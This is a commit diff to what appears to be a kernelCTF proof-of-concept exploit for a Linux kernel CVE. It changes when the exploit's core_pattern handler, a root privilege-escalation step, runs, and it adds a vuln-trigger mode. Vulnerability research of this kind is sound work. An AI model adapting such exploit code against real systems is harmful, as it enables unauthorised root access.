update exploit to support vuln trigger

Author: simond67

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/exploit.cpp

@@ -2312,15 +2312,15 @@ int main(int argc, char *argv[])
 {
     setbuf(stdout, NULL);
 
-    if (argc > 1) {
-        core_pattern_handler(argv);
-    }
-
     for (int i = 1; i < argc; i++) {
         if (strcmp(argv[i], "--vuln-trigger") == 0)
             vuln_trigger_mode = 1;
     }
 
+    if (argc > 1 && !vuln_trigger_mode && argv[1][0] >= '0' && argv[1][0] <= '9') {
+        core_pattern_handler(argv);
+    }
+
     struct rlimit rlim = {
         .rlim_cur = 0xf000,
         .rlim_max = 0xf000